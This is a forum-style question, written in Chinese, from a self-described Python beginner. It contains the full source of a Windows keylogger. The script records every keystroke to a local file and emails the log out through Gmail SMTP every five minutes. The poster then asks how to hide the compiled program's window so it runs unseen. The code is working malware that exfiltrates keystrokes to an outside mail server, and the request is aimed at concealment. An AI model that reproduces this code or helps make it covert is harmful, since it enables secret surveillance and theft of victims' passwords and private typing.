我是 Python 新手。我正在编写一个键盘记录程序。
我写了这个:
#!/usr/bin/python
import pythoncom , pyHook , time, smtplib
LOG = open("C:\LOG.txt", "a")
LOG.write("")
LOG.close()
_time = time.strftime(" %A, %d, %B, %Y, %H : %M ")
_time1 = _time
num_lines =sum(1 for line in open('C:\LOG.txt'))
if num_lines > 45 :
LOG = open("C:\LOG.txt", "w")
LOG.truncate()
LOG.close()
LOG = open("C:\LOG.txt", "a")
LOG.write("\n>>>============================ Start KeyLogger [%s] ============================<<<\n"%(_time))
LOG.close()
timer = time.time()
mtxt = ""
def OnKeyboardEvent(event) :
global _time1
global timer
c = time.strftime(" %A, %d, %B, %Y, %H : %M ")
timer2 = time.time()
if timer2 >= timer+300.0 :
LOG = open("C:\LOG.txt","r")
TXT = LOG.readlines()
i = 0
while i < len(TXT) :
global mtxt
global txt
txt = TXT[i]
i += 1
mtxt += txt
server = smtplib.SMTP("smtp.gmail.com:25")
server.starttls()
server.login("myemail@gmail.com", "password")
server.sendmail("myemail@gmail.com", "myemail@gmail.com", mtxt)
server.quit()
LOG.close()
timer = timer2
if _time1 == c :
LOG = open("C:\LOG.txt", "a")
LOG.write(chr(event.Ascii))
LOG.close()
elif _time1 != c :
LOG = open("C:\LOG.txt", "a")
LOG.write("\n[%s]\n"% (c))
LOG.close()
_time1 = c
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我知道这很混乱......但我仍在努力,我试图不看其他键盘记录器......
它工作正常,每五分钟向我发送一封带有密钥的电子邮件......但我试图编译它,py2exe
当我启动keylogger.exe
它时它会打开一个提示窗口......它工作正常但有窗口。我想隐藏那个窗口或者把程序改成一个进程,但是我不知道怎么...